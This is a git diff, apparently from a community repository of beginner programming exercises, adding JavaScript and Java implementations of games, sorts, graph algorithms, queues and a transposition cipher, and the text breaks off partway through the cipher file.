    + + + + + + \ No newline at end of file diff --git a/JS/rock_paper_scissor/script.js b/JS/rock_paper_scissor/script.js new file mode 100644 index 000000000..3b91d82b4 --- /dev/null +++ b/JS/rock_paper_scissor/script.js @@ -0,0 +1,52 @@ +const play = document.getElementById('play'); +const iconContainer = document.getElementById('iconContainer'); +const spinner = document.getElementById('spinner'); +const playDiv = document.getElementById('playDiv'); +const loadingSpan = document.getElementById('loading'); + +const audio = new Audio('game.m4a'); + +play.addEventListener('click', () => { + playDiv.style.display = 'none'; + spinner.style.display = 'block'; + audio.play(); + + let proceesing = setInterval(() => { + output(); + }, 120); + + let index = 3; + loadingSpan.innerHTML = index; + index--; + let loading = setInterval(() => { + loadingSpan.innerHTML = index; + index--; + }, 1000); + + setTimeout(() => { + clearInterval(proceesing); + clearInterval(loading); + output(); + + spinner.style.display = 'none'; + playDiv.style.display = 'block'; + }, 3000); +}); + +const output = () => { + let randomNo = Math.ceil(Math.random()*3); + + switch(randomNo) { + case 1: + iconContainer.innerHTML = ``; + break; + + case 2: + iconContainer.innerHTML = ``; + break; + + case 3: + iconContainer.innerHTML = ``; + break; + } +} diff --git a/JS/selectionSorting.js b/JS/selectionSorting.js index c9dd44236..e25bf138c 100644 --- a/JS/selectionSorting.js +++ b/JS/selectionSorting.js @@ -16,11 +16,11 @@ const selectionSort = (inputArr) => { return inputArr; }; -// swap function +// efficient swap function using bitwise XOR. const swap = (inputArr, i, minIndex) => { - let temp = inputArr[i]; - inputArr[i] = inputArr[minIndex]; - inputArr[minIndex] = temp; + inputArr[i] = inputArr[i] ^ inputArr[minIndex]; + inputArr[minIndex] = inputArr[i] ^ inputArr[minIndex]; + inputArr[i] = inputArr[i] ^ inputArr[minIndex]; return inputArr; }; diff --git a/JS/sortObjArr.js b/JS/sortObjArr.js new file mode 100644 index 000000000..c69a473d8 --- /dev/null +++ b/JS/sortObjArr.js @@ -0,0 +1,18 @@ +function sortObjArr(objArr, key){ + return objArr.sort((a, b) => a[key] - b[key]) +} + +sortObjArr([ + { + name: "John", + age: 34 + }, + { + name: "Johny", + age: 23 + }, + { + name: "Dan", + age: 18 + } +], "age") diff --git a/Java/AgeCounter.java b/Java/AgeCounter.java new file mode 100644 index 000000000..735f489c0 --- /dev/null +++ b/Java/AgeCounter.java @@ -0,0 +1,35 @@ +package agecounter; + +import java.util.Scanner; +import java.time.LocalDate; +import java.time.Period; + +public class AgeCounter { + + public static void main(String[] args) { + + Scanner bday=new Scanner(System.in); + + //Get Inputs + System.out.println("Enter Your Birth Year"); + int year=bday.nextInt(); + + System.out.println("Enter Your Birth Month"); + int month=bday.nextInt(); + + System.out.println("Enter Your Birth Date"); + int day=bday.nextInt(); + + + + LocalDate pres = LocalDate.now(); + LocalDate bdate = LocalDate.of(year,month,day); + + int age = Period.between(bdate , pres).getYears(); + + System.out.println(pres); + System.out.println(bdate); + System.out.println(age); + } + +} diff --git a/Java/AllocateMinimunPages.java b/Java/AllocateMinimunPages.java new file mode 100644 index 000000000..8a5035011 --- /dev/null +++ b/Java/AllocateMinimunPages.java @@ -0,0 +1,62 @@ +//Allocate Minimum Pages- maximum number of pages read by a student is minimised +//Constraints - 1. Allocate the books in a continuous fashion 2. Pages of a single book cannot be split + + +import java.util.*; +public class AllocateMinimumPages{ + public static void main(String[] args){ + Scanner sc = new Scanner(System.in); + int n = sc.nextInt(); //Number of books + int arr[] = new int[n]; + for(int i=0;i curr_min) + return false; + if (curr_sum + arr[i] > curr_min) + { + studentsRequired++; + curr_sum = arr[i]; + if (studentsRequired > m) + return false; + } + else + curr_sum += arr[i]; + } + return true; + } +} + + +//Time Complexity - O(nlogm) +//Space Complexity - O(1) \ No newline at end of file diff --git a/Java/BinarySearch.java b/Java/BinarySearch.java new file mode 100644 index 000000000..6a41d1c9e --- /dev/null +++ b/Java/BinarySearch.java @@ -0,0 +1,21 @@ +import java.util.*; +public class BinarySearch { + + public static int binarySearch(int[] arr, int x) { + //Your code goes here + int start = 0; + int end = arr.length-1; + + while(start <= end){ + int mid = (start+end)/2; + if(arr[mid] == x){ + return mid; + }else if(arr[mid] > x){ + end = (mid-1); + }else { + start = (mid+1); + } + } + return -1; + } +} diff --git a/Java/BracketsQuestion.java b/Java/BracketsQuestion.java new file mode 100644 index 000000000..95294bf76 --- /dev/null +++ b/Java/BracketsQuestion.java @@ -0,0 +1,71 @@ +package vectorAndstacks; +import java.util.Scanner; +import java.util.Stack; + +public class BracketsQuestion { + + public static void main(String[] args) { + Scanner sc = new Scanner(System.in); + System.out.println("Enter the number of statements you want to test: .."); + int t = sc.nextInt(); + sc.nextLine(); + while(t--!= 0) { + System.out.println("Enter the parenthesis statement: ..."); + String s = sc.nextLine(); + + Stack stack = new Stack<>(); + + boolean isBalanced = true; + + for(int i = 0; i " + front); + System.out.println("Items -> "); + for (i = front; i != rear; i = (i + 1) % SIZE) + System.out.print(items[i] + " "); + System.out.println(items[i]); + System.out.println("Rear -> " + rear); + } + } + + public static void main(String[] args) { + + Circular_Queue q = new Circular_Queue(); + + // Fails because front = -1 + q.deQueue(); + + q.enQueue(1); + q.enQueue(2); + q.enQueue(3); + q.enQueue(4); + q.enQueue(5); + + // Fails to enqueue because front == 0 && rear == SIZE - 1 + q.enQueue(6); + + q.display(); + + int elem = q.deQueue(); + + if (elem != -1) { + System.out.println("Deleted Element is " + elem); + } + q.display(); + + q.enQueue(7); + + q.display(); + + // Fails to enqueue because front == rear + 1 + q.enQueue(8); + } + + } \ No newline at end of file diff --git a/Java/CorrectNonogram.java b/Java/CorrectNonogram.java new file mode 100644 index 000000000..cf22572ec --- /dev/null +++ b/Java/CorrectNonogram.java @@ -0,0 +1,53 @@ +import java.util.ArrayList; + +final class CorrectNonogram { + + boolean correctNonogram(int size, String[][] nonogramField) { + int len = (size + 1) / 2, sz = len + size, c = 0; + ArrayList row = new ArrayList(); + ArrayList col = new ArrayList(); + for(int x = (size + 1) / 2; x < sz; x++) { + String val = "", reg = ""; + for(int y = 0; y < sz; y++) { + row.add(nonogramField[x][y]); + col.add(nonogramField[y][x]); + } + for(int i = len; i < sz; i++) { val += row.get(i); } + int d = 0; + for(int i = 0; i < len; i++) { + if(d == 0) { + if(row.get(i).matches("\\d+")) { + reg += "#{"+row.get(i)+"}"; + d++; + } + } + else { + if(row.get(i).matches("\\d+")) { + reg += ".+#{"+row.get(i)+"}"; + } + } + } + if(!val.matches("\\.*"+reg+"\\.*")) { c++; } + reg = val = ""; + d = 0; + for(int i = len; i < sz; i++) { val += col.get(i); } + for(int i = 0; i < len; i++) { + if(d == 0) { + if(col.get(i).matches("\\d+")) { + reg += "#{"+col.get(i)+"}"; + d++; + } + } + else { + if(col.get(i).matches("\\d+")) { + reg += ".+#{"+col.get(i)+"}"; + } + } + } + if(!val.matches("\\.*"+reg+"\\.*")) { c++; } + col.clear(); + row.clear(); + } + return c == 0; + } +} \ No newline at end of file diff --git a/Java/DesignCircularQueue.java b/Java/DesignCircularQueue.java new file mode 100644 index 000000000..4d503d923 --- /dev/null +++ b/Java/DesignCircularQueue.java @@ -0,0 +1,81 @@ +//Design Circular Queue + + class MyCircularQueue { + + private int[] data; + private int head; + private int tail; + private int size; + + /** Initialize your data structure here. Set the size of the queue to be k. */ + public MyCircularQueue(int k) { + data = new int[k]; + head = -1; + tail = -1; + size = k; + } + + /** Insert an element into the circular queue. Return true if the operation is successful. */ + public boolean enQueue(int value) { + if (isFull() == true) { + return false; + } + if (isEmpty() == true) { + head = 0; + } + tail = (tail + 1) % size; + data[tail] = value; + return true; + } + + /** Delete an element from the circular queue. Return true if the operation is successful. */ + public boolean deQueue() { + if (isEmpty() == true) { + return false; + } + if (head == tail) { + head = -1; + tail = -1; + return true; + } + head = (head + 1) % size; + return true; + } + + /** Get the front item from the queue. */ + public int Front() { + if (isEmpty() == true) { + return -1; + } + return data[head]; + } + + /** Get the last item from the queue. */ + public int Rear() { + if (isEmpty() == true) { + return -1; + } + return data[tail]; + } + + /** Checks whether the circular queue is empty or not. */ + public boolean isEmpty() { + return head == -1; + } + + /** Checks whether the circular queue is full or not. */ + public boolean isFull() { + return ((tail + 1) % size) == head; + } +} + +/** + * Your MyCircularQueue object will be instantiated and called as such: + * MyCircularQueue obj = new MyCircularQueue(k); + * boolean param_1 = obj.enQueue(value); + * boolean param_2 = obj.deQueue(); + * int param_3 = obj.Front(); + * int param_4 = obj.Rear(); + * boolean param_5 = obj.isEmpty(); + * boolean param_6 = obj.isFull(); + */ diff --git a/Java/Djikstra.java b/Java/Djikstra.java new file mode 100644 index 000000000..8f5fcb636 --- /dev/null +++ b/Java/Djikstra.java @@ -0,0 +1,121 @@ +import java.util.*; + +public class GFG { + private int dist[]; + private Set settled; + private PriorityQueue pq; + + private int V; + List > adj; + + public GFG(int V) + { + this.V = V; + dist = new int[V]; + settled = new HashSet(); + pq = new PriorityQueue(V, new Node()); + } + + public void dijkstra(List > adj, int src) + { + this.adj = adj; + + for (int i = 0; i < V; i++) + dist[i] = Integer.MAX_VALUE; + + pq.add(new Node(src, 0)); + + dist[src] = 0; + + while (settled.size() != V) { + if (pq.isEmpty()) + return; + + int u = pq.remove().node; + + if (settled.contains(u)) + continue; + + settled.add(u); + + e_Neighbours(u); + } + } + + private void e_Neighbours(int u) + { + + int edgeDistance = -1; + int newDistance = -1; + + for (int i = 0; i < adj.get(u).size(); i++) { + Node v = adj.get(u).get(i); + + if (!settled.contains(v.node)) { + edgeDistance = v.cost; + newDistance = dist[u] + edgeDistance; + + if (newDistance < dist[v.node]) + dist[v.node] = newDistance; + + pq.add(new Node(v.node, dist[v.node])); + } + } + } + + public static void main(String arg[]) + { + + int V = 5; + int source = 0; + + List > adj + = new ArrayList >(); + + for (int i = 0; i < V; i++) { + List item = new ArrayList(); + adj.add(item); + } + + adj.get(0).add(new Node(1, 9)); + adj.get(0).add(new Node(2, 6)); + adj.get(0).add(new Node(3, 5)); + adj.get(0).add(new Node(4, 3)); + + adj.get(2).add(new Node(1, 2)); + adj.get(2).add(new Node(3, 4)); + + GFG dpq = new GFG(V); + dpq.dijkstra(adj, source); + + System.out.println("The shorted path from node :"); + + for (int i = 0; i < dpq.dist.length; i++) + System.out.println(source + " to " + i + " is " + dpq.dist[i]); + } +} + +class Node implements Comparator { + public int node; + public int cost; + + public Node() {} + + public Node(int node, int cost) + { + this.node = node; + this.cost = cost; + } + + @Override public int compare(Node node1, Node node2) + { + + if (node1.cost < node2.cost) + return -1; + + if (node1.cost > node2.cost) + return 1; + + return 0; + } +} diff --git a/Java/EuclideanAlgorithms.java b/Java/EuclideanAlgorithms.java new file mode 100644 index 000000000..49e392410 --- /dev/null +++ b/Java/EuclideanAlgorithms.java @@ -0,0 +1,36 @@ +// Java program to demonstrate working of extended +// Euclidean Algorithm + + +import java.util.*; +import java.lang.*; + +public class EuclideanAlgorithms { + public static void main(String[] args) { + int a = 10; + int b = 15; + int g; + g = gcd(a, b); + System.out.println("GCD(" + a + " , " + b+ ") = " + g); + + a = 35; + b = 10; + g = gcd(a, b); + System.out.println("GCD(" + a + " , " + b+ ") = " + g); + + a = 31; + b = 2; + g = gcd(a, b); + System.out.println("GCD(" + a + " , " + b+ ") = " + g); + + } + + // extended Euclidean Algorithm + public static int gcd(int a, int b) + { + if (a == 0) + return b; + + return gcd(b%a, a); + } +} \ No newline at end of file diff --git a/Java/GraphBFS.java b/Java/GraphBFS.java new file mode 100644 index 000000000..f10bc71cf --- /dev/null +++ b/Java/GraphBFS.java @@ -0,0 +1,74 @@ +import java.io.*; +import java.util.*; + +class GraphBFS +{ + private int V; //number of nodes in the graph + private LinkedList adj[]; //adjacency list + private Queue queue; //maintaining a queue + + GraphBFS(int v) + { + V = v; + adj = new LinkedList[v]; + for (int i=0; i(); + } + queue = new LinkedList(); + } + + + void addEdge(int v,int w) + { + adj[v].add(w); //adding an edge to the adjacency list (edges are bidirectional in this example) + } + + void BFS(int n) + { + + boolean nodes[] = new boolean[V]; //initialize boolean array for holding the data + int a = 0; + + nodes[n]=true; + queue.add(n); //root node is added to the top of the queue + + while (queue.size() != 0) + { + n = queue.poll(); //remove the top element of the queue + System.out.print(n+" "); //print the top element of the queue + + for (int i = 0; i < adj[n].size(); i++) //iterate through the linked list and push all neighbors into queue + { + a = adj[n].get(i); + if (!nodes[a]) //only insert nodes into queue if they have not been explored already + { + nodes[a] = true; + queue.add(a); + } + } + } + } + + public static void main(String args[]) + { + Graph graph = new Graph(6); + + graph.addEdge(0, 1); + graph.addEdge(0, 3); + graph.addEdge(0, 4); + graph.addEdge(4, 5); + graph.addEdge(3, 5); + graph.addEdge(1, 2); + graph.addEdge(1, 0); + graph.addEdge(2, 1); + graph.addEdge(4, 1); + graph.addEdge(3, 1); + graph.addEdge(5, 4); + graph.addEdge(5, 3); + + System.out.println("The Breadth First Traversal of the graph is as follows :"); + + graph.BFS(0); + } +} \ No newline at end of file diff --git a/Java/GraphDFS.java b/Java/GraphDFS.java new file mode 100644 index 000000000..ced034dc5 --- /dev/null +++ b/Java/GraphDFS.java @@ -0,0 +1,46 @@ +import java.util.*; + +class GraphDFS { + private LinkedList adjLists[]; + private boolean visited[]; + + // Graph creation + GraphDFS(int vertices) { + adjLists = new LinkedList[vertices]; + visited = new boolean[vertices]; + + for (int i = 0; i < vertices; i++) + adjLists[i] = new LinkedList(); + } + + // Add edges + void addEdge(int src, int dest) { + adjLists[src].add(dest); + } + + // DFS algorithm + void DFS(int vertex) { + visited[vertex] = true; + System.out.print(vertex + " "); + + Iterator ite = adjLists[vertex].listIterator(); + while (ite.hasNext()) { + int adj = ite.next(); + if (!visited[adj]) + DFS(adj); + } + } + + public static void main(String args[]) { + Graph g = new Graph(4); + + g.addEdge(0, 1); + g.addEdge(0, 2); + g.addEdge(1, 2); + g.addEdge(2, 3); + + System.out.println("Following is Depth First Traversal"); + + g.DFS(2); + } +} \ No newline at end of file diff --git a/Java/Heap sort.java b/Java/Heap sort.java new file mode 100644 index 000000000..68c531a07 --- /dev/null +++ b/Java/Heap sort.java @@ -0,0 +1,69 @@ +public class HeapSort { + public void sort(int arr[]) + { + int n = arr.length; + + + for (int i = n / 2 - 1; i >= 0; i--) + heapify(arr, n, i); + + + for (int i = n - 1; i > 0; i--) { + // Move current root to end + int temp = arr[0]; + arr[0] = arr[i]; + arr[i] = temp; + + + heapify(arr, i, 0); + } + } + + + void heapify(int arr[], int n, int i) + { + int largest = i; // Initialize largest as root + int l = 2 * i + 1; // left = 2*i + 1 + int r = 2 * i + 2; // right = 2*i + 2 + + + if (l < n && arr[l] > arr[largest]) + largest = l; + + + if (r < n && arr[r] > arr[largest]) + largest = r; + + + if (largest != i) { + int swap = arr[i]; + arr[i] = arr[largest]; + arr[largest] = swap; + + + heapify(arr, n, largest); + } + } + + + static void printArray(int arr[]) + { + int n = arr.length; + for (int i = 0; i < n; ++i) + System.out.print(arr[i] + " "); + System.out.println(); + } + + + public static void main(String args[]) + { + int arr[] = { 12, 11, 13, 5, 6, 7 }; + int n = arr.length; + + HeapSort ob = new HeapSort(); + ob.sort(arr); + + System.out.println("Sorted array is"); + printArray(arr); + } +} diff --git a/Java/HeapSort b/Java/HeapSort new file mode 100644 index 000000000..661980aba --- /dev/null +++ b/Java/HeapSort @@ -0,0 +1,71 @@ +// Java program for implementation of Heap Sort +public class HeapSort { + public void sort(int arr[]) + { + int n = arr.length; + + // Build heap (rearrange array) + for (int i = n / 2 - 1; i >= 0; i--) + heapify(arr, n, i); + + // One by one extract an element from heap + for (int i = n - 1; i > 0; i--) { + // Move current root to end + int temp = arr[0]; + arr[0] = arr[i]; + arr[i] = temp; + + // call max heapify on the reduced heap + heapify(arr, i, 0); + } + } + + // To heapify a subtree rooted with node i which is + // an index in arr[]. n is size of heap + void heapify(int arr[], int n, int i) + { + int largest = i; // Initialize largest as root + int l = 2 * i + 1; // left = 2*i + 1 + int r = 2 * i + 2; // right = 2*i + 2 + + // If left child is larger than root + if (l < n && arr[l] > arr[largest]) + largest = l; + + // If right child is larger than largest so far + if (r < n && arr[r] > arr[largest]) + largest = r; + + // If largest is not root + if (largest != i) { + int swap = arr[i]; + arr[i] = arr[largest]; + arr[largest] = swap; + + // Recursively heapify the affected sub-tree + heapify(arr, n, largest); + } + } + + /* A utility function to print array of size n */ + static void printArray(int arr[]) + { + int n = arr.length; + for (int i = 0; i < n; ++i) + System.out.print(arr[i] + " "); + System.out.println(); + } + + // Driver code + public static void main(String args[]) + { + int arr[] = { 12, 11, 13, 5, 6, 7 }; + int n = arr.length; + + HeapSort ob = new HeapSort(); + ob.sort(arr); + + System.out.println("Sorted array is"); + printArray(arr); + } +} diff --git a/Java/HeapSort.java b/Java/HeapSort.java new file mode 100644 index 000000000..ef4c97351 --- /dev/null +++ b/Java/HeapSort.java @@ -0,0 +1,74 @@ +// Java program for implementation of Heap Sort +public class HeapSort +{ + public void sort(int arr[]) + { + int n = arr.length; + + // Build heap (rearrange array) + for (int i = n / 2 - 1; i >= 0; i--) + heapify(arr, n, i); + + // One by one extract an element from heap + for (int i=n-1; i>0; i--) + { + // Move current root to end + int temp = arr[0]; + arr[0] = arr[i]; + arr[i] = temp; + + // call max heapify on the reduced heap + heapify(arr, i, 0); + } + } + + // To heapify a subtree rooted with node i which is + // an index in arr[]. n is size of heap + void heapify(int arr[], int n, int i) + { + int largest = i; // Initialize largest as root + int l = 2*i + 1; // left = 2*i + 1 + int r = 2*i + 2; // right = 2*i + 2 + + // If left child is larger than root + if (l < n && arr[l] > arr[largest]) + largest = l; + + // If right child is larger than largest so far + if (r < n && arr[r] > arr[largest]) + largest = r; + + // If largest is not root + if (largest != i) + { + int swap = arr[i]; + arr[i] = arr[largest]; + arr[largest] = swap; + + // Recursively heapify the affected sub-tree + heapify(arr, n, largest); + } + } + + /* A utility function to print array of size n */ + static void printArray(int arr[]) + { + int n = arr.length; + for (int i=0; i 0 && nums[j - 1] > temp) { + nums[j] = nums[j - 1]; + j--; + } + nums[j] = temp; + i++; + } + System.out.println("After Sorting " + Arrays.toString(nums)); + + } +} diff --git a/Java/Java Program for Cycle Sort b/Java/Java Program for Cycle Sort new file mode 100644 index 000000000..66dde8482 --- /dev/null +++ b/Java/Java Program for Cycle Sort @@ -0,0 +1,84 @@ +// Java program to impleament cycle sort + +import java.util.*; +import java.lang.*; + +class GFG +{ +// Function sort the array using Cycle sort + public static void cycleSort (int arr[], int n) + { + // count number of memory writes + int writes = 0; + + // traverse array elements and put it to on + // the right place + for (int cycle_start=0; cycle_start<=n-2; cycle_start++) + { + // initialize item as starting point + int item = arr[cycle_start]; + + // Find position where we put the item. We basically + // count all smaller elements on right side of item. + int pos = cycle_start; + for (int i = cycle_start+1; i diff --git a/Java/KadaneAlgo.java b/Java/KadaneAlgo.java new file mode 100644 index 000000000..686a449bd --- /dev/null +++ b/Java/KadaneAlgo.java @@ -0,0 +1,21 @@ +class KadaneAlgo{ + // arr: input array + // n: size of array + //Function to find the sum of contiguous subarray with maximum sum. + long maxSubarraySum(int arr[], int n){ + long currSum=0; //track current sum + long sumSoFar=Long.MIN_VALUE; + + for(int i=0;i { + int source, destination, weight; + public int compareTo(Edge edgeToCompare) { + return this.weight - edgeToCompare.weight; + } + }; + + class Subset { + int parent, value; + }; + int vertices, edges; + Edge edgeArray[]; + + KruskalAlgorithm(int vertices, int edges) { + this.vertices = vertices; + this.edges = edges; + edgeArray = new Edge[this.edges]; + for (int i = 0; i < edges; ++i) + edgeArray[i] = new Edge(); + } + void applyKruskal() { + Edge finalResult[] = new Edge[vertices]; + int newEdge = 0; + int index = 0; + for (index = 0; index < vertices; ++index) + finalResult[index] = new Edge(); + Arrays.sort(edgeArray); + Subset subsetArray[] = new Subset[vertices]; + for (index = 0; index < vertices; ++index) + subsetArray[index] = new Subset(); + + for (int vertex = 0; vertex < vertices; ++vertex) { + subsetArray[vertex].parent = vertex; + subsetArray[vertex].value = 0; + } + index = 0; + while (newEdge < vertices - 1) { + Edge nextEdge = new Edge(); + nextEdge = edgeArray[index++]; + int nextSource = findSetOfElement(subsetArray, nextEdge.source); + int nextDestination = findSetOfElement(subsetArray, nextEdge.destination); + if (nextSource != nextDestination) { + finalResult[newEdge++] = nextEdge; + performUnion(subsetArray, nextSource, nextDestination); + } + } + for (index = 0; index < newEdge; ++index) + System.out.println(finalResult[index].source + " - " + finalResult[index].destination + ": " + finalResult[index].weight); + } + int findSetOfElement(Subset subsetArray[], int i) { + if (subsetArray[i].parent != i) + subsetArray[i].parent = findSetOfElement(subsetArray, subsetArray[i].parent); + return subsetArray[i].parent; + } + + void performUnion(Subset subsetArray[], int sourceRoot, int destinationRoot) { + int nextSourceRoot = findSetOfElement(subsetArray, sourceRoot); + int nextDestinationRoot = findSetOfElement(subsetArray, destinationRoot); + + if (subsetArray[nextSourceRoot].value < subsetArray[nextDestinationRoot].value) + subsetArray[nextSourceRoot].parent = nextDestinationRoot; + else if (subsetArray[nextSourceRoot].value > subsetArray[nextDestinationRoot].value) + subsetArray[nextDestinationRoot].parent = nextSourceRoot; + else { + subsetArray[nextDestinationRoot].parent = nextSourceRoot; + subsetArray[nextSourceRoot].value++; + } + } + + public static void main(String[] args) { + int v, e; + Scanner sc = new Scanner(System.in); + System.out.println("Enter number of vertices: "); + v = sc.nextInt(); + System.out.println("Enter number of edges"); + e = sc.nextInt(); + + KruskalAlgorithm graph = new KruskalAlgorithm(v, e); + + for(int i = 0; i < e; i++){ + System.out.println("Enter source value for edge["+ i +"]"); + graph.edgeArray[i].source = sc.nextInt(); + System.out.println("Enter destination value for edge["+ i +"]"); + graph.edgeArray[i].destination = sc.nextInt(); + System.out.println("Enter weight for edge["+i+"]"); + graph.edgeArray[i].weight = sc.nextInt(); + } + graph.applyKruskal(); + } +} diff --git a/Java/LongestPalindromicSubstring.java b/Java/LongestPalindromicSubstring.java new file mode 100644 index 000000000..9f6ac3536 --- /dev/null +++ b/Java/LongestPalindromicSubstring.java @@ -0,0 +1,31 @@ +//Find the Longest Palindrome Substring from a string +//Example- avcedecvxyz output - vcedecv + +import java.util.*; +public class LongestPalindromicSubstring{ + public static void main(String[] args){ + Scanner sc = new Scanner(System.in); + String s = sc.nextLine(); + //Applying expand from centre approach + int start = 0, end = 0; + for(int i=0;i=0 && j 0) + { + + // If y is odd, multiply x with result + if ((y & 1) != 0) + res = (res * x) % p; + + // y must be even now + y = y >> 1; // y = y/2 + x = (x * x) % p; + } + return res; + } + + // Driver Code + public static void main(String[] args) + { + int x = 2; + int y = 5; + int p = 13; + System.out.print("Power is " + power(x, y, p)); + } +} \ No newline at end of file diff --git a/Java/Prim_Algorithm.java b/Java/Prim_Algorithm.java new file mode 100644 index 000000000..36794422f --- /dev/null +++ b/Java/Prim_Algorithm.java @@ -0,0 +1,76 @@ +import java.util.*; + +public class Prim_Algorithm { + public static void main(String[] args) { + Scanner sc = new Scanner(System.in); + int vertex = sc.nextInt(); + int edge = sc.nextInt(); + int mat[][] = new int[vertex][vertex]; + for (int i = 0; i < edge; i++) { + int src = sc.nextInt(); + int dest = sc.nextInt(); + int weight = sc.nextInt(); + mat[src][dest] = weight; + mat[dest][src] = weight; + } + + // for (int i = 0; i < vertex; i++) { + // for (int j = 0; j < vertex; j++) { + // System.out.print(mat[i][j]); + // } + // System.out.println(); + // } + + /* + * 5 7 0 1 4 0 2 8 1 2 2 1 3 6 3 2 3 2 4 9 3 4 5 + */ + + sc.close(); + + int[] parent = new int[vertex]; + int[] weight = new int[vertex]; + Arrays.fill(weight, Integer.MAX_VALUE); + weight[0] = 0; + + boolean[] visited = new boolean[vertex]; + + for (int i = 0; i < vertex; i++) { + if (visited[i]) + continue; + prims(mat, vertex, parent, weight, visited); + } + + for (int i = 0; i < vertex; i++) { + System.out.println(i + " " + parent[i] + " " + weight[i]); + } + + } + + static void prims(int mat[][], int vertex, int[] parent, int[] weight, boolean[] visited) { + int min = -1; + int temp = Integer.MAX_VALUE; + + for (int i = 0; i < vertex; i++) { + if (temp > weight[i] && !visited[i]) { + temp = weight[i]; + min = i; + } + } + + if (min == -1) + return; + + visited[min] = true; + + for (int i = 0; i < vertex; i++) { + if (mat[min][i] == 0) + continue; + if (weight[i] > mat[min][i] && !visited[i]) { + weight[i] = mat[min][i]; + parent[i] = min; + } + } + + } + +} diff --git a/Java/Prime.Java b/Java/Prime.Java new file mode 100644 index 000000000..f7f0b9e15 --- /dev/null +++ b/Java/Prime.Java @@ -0,0 +1,19 @@ +public class PrimeExample{ + public static void main(String args[]){ + int i,m=0,flag=0; + int n=3;//it is the number to be checked + m=n/2; + if(n==0||n==1){ + System.out.println(n+" is not prime number"); + }else{ + for(i=2;i<=m;i++){ + if(n%i==0){ + System.out.println(n+" is not prime number"); + flag=1; + break; + } + } + if(flag==0) { System.out.println(n+" is prime number"); } + }//end of else +} +} diff --git a/Java/RemoveDuplicate.java b/Java/RemoveDuplicate.java new file mode 100644 index 000000000..45769e5ea --- /dev/null +++ b/Java/RemoveDuplicate.java @@ -0,0 +1,13 @@ +public class RemoveDuplicate { + public static void main(String[] args) { + String remove = "I love India"; + String newString=""; + for (int i = 0; i < remove.length(); i++) { + String word=String.valueOf(remove.charAt(i)); + if(!newString.toLowerCase().contains(word.toLowerCase())||word.equals(" ")){ + newString+=word; + } + } + System.out.println(newString); + } +} diff --git a/Java/RotateMatrix.java b/Java/RotateMatrix.java new file mode 100644 index 000000000..09a348ac2 --- /dev/null +++ b/Java/RotateMatrix.java @@ -0,0 +1,23 @@ +class RotateMatrix { + + static void rotate(int matrix[][]) { + + //swapping + for(int i=0; i +using namespace std; + +/* function to sort arr using shellSort */ +int shellSort(int arr[], int n) +{ + // Start with a big gap, then reduce the gap + for (int gap = n/2; gap > 0; gap /= 2) + { + // Do a gapped insertion sort for this gap size. + // The first gap elements a[0..gap-1] are already in gapped order + // keep adding one more element until the entire array is + // gap sorted + for (int i = gap; i < n; i += 1) + { + // add a[i] to the elements that have been gap sorted + // save a[i] in temp and make a hole at position i + int temp = arr[i]; + + // shift earlier gap-sorted elements up until the correct + // location for a[i] is found + int j; + for (j = i; j >= gap && arr[j - gap] > temp; j -= gap) + arr[j] = arr[j - gap]; + + // put temp (the original a[i]) in its correct location + arr[j] = temp; + } + } + return 0; +} + +void printArray(int arr[], int n) +{ + for (int i=0; i "); + current = current.next; + } + System.out.println(); + } + + public static void main(String[] args) { + + SinglyLinkedList sList = new SinglyLinkedList(); + + sList.addNode(33); + sList.addNode(2); + sList.addNode(24); + sList.addNode(99); + sList.addNode(8); + sList.addNode(5); + sList.addNode(13); + sList.addNode(7); + + sList.display(); + } +} diff --git a/Java/Sorting Algo/BitonicSort.java b/Java/Sorting Algo/BitonicSort.java new file mode 100644 index 000000000..a078f9d4c --- /dev/null +++ b/Java/Sorting Algo/BitonicSort.java @@ -0,0 +1,77 @@ +// Bitonic Sort +//this program works when size of input is power of 2. +public class BitonicSort +{ +static void exchange(int arr[], int i, int j, boolean d) +{ + int temp; + if (d==(arr[i]>arr[j])) + { + temp = arr[i]; + arr[i] = arr[j]; + arr[j] = temp; + } +} +/* The sequence to be sorted starts at +index position low (l), the parameter c is the number +of elements to be sorted.*/ +static void bitonicMerge(int arr[], int l, int c, boolean d) +{ + int k,i; + if (c>1) + { + k = c/2; + for (i=l; i1) + { + k = c/2; + // sort in ascending order since dir here is 1 + bitonicSort(arr, l, k, true); + + // sort in descending order since dir here is 0 + bitonicSort(arr, l+k, k, false); + + // Will merge whole sequence in ascending order since dir=1. + bitonicMerge(arr,l, c, d); + } +} + /*Caller of bitonicSort for sorting the entire array + of length N in ASCENDING order */ + +static void sort(int arr[], int n, boolean order) +{ + bitonicSort(arr,0, n, order); +} + + /* A utility function to print array of size n */ + static void printArray(int arr[]) + { + int n = arr.length; + for (int i=0; i 0; j--) { + if (arr[j] < arr[j - 1]) { + swapArray(arr, j, j - 1); + } else { + break; + } + } + } + } + + static void swapArray(int[] arr, int first, int second) { + int temp = arr[first]; + arr[first] = arr[second]; + arr[second] = temp; + } + +} diff --git a/Java/SwapNodesInPairs.java b/Java/SwapNodesInPairs.java new file mode 100644 index 000000000..8c5cf2f48 --- /dev/null +++ b/Java/SwapNodesInPairs.java @@ -0,0 +1,15 @@ +public class SwapNodesInPairs { + public ListNode swapPairs(ListNode head) { + if (head == null || head.next == null) + return head; + ListNode p1 = head, p2 = head.next, p3 = p2.next; + p1.next = p3; + p2.next = p1; + + if (p3 != null) { + p1.next = swapPairs(p3); + } + + return p2; + } +} \ No newline at end of file diff --git a/Java/TranspositionCipher/Main.class b/Java/TranspositionCipher/Main.class new file mode 100644 index 000000000..9983b7e2c Binary files /dev/null and b/Java/TranspositionCipher/Main.class differ diff --git a/Java/TranspositionCipher/Main.java b/Java/TranspositionCipher/Main.java new file mode 100644 index 000000000..864d1b57d --- /dev/null +++ b/Java/TranspositionCipher/Main.java @@ -0,0 +1,444 @@ +import static java.lang.System.*;//as it's static we don't need to write System repeatedly +import java.util.*; +import java.io.*; +// import ciphers.transposition_cipher.TranspositionCipher; : not working + +/** + * Mini-Project for implementing different crypto algorithms + */ + +class TranspositionCipher { + + public boolean checkKey(String key) { + + try { + // check key length + if (!(key.length() < 10)) { + throw new Exception("Key is too long. Only allow cipher keys with length up to 10."); + } + // will throw an exception for non-numeric value + int keyInInt = Integer.parseInt(key); + + /*if (checkForRepeatedDigitInKey(key) && checkForMissingKeyValue(key)) { + return true; + }*/ + + if(checkKeyDigits(key) && key.contains("0")) + { + return true; + } + + } catch (NumberFormatException nfe) { + err.println("Please enter Integer value"); + } + + catch (Exception e) { + err.println("Exception: " + e.getMessage()); + } + + return false; + } + + /*public static boolean checkForMissingKeyValue(String key) { + int keyLength = key.length(); + + for (int i = 0; i < keyLength; i++) { + if 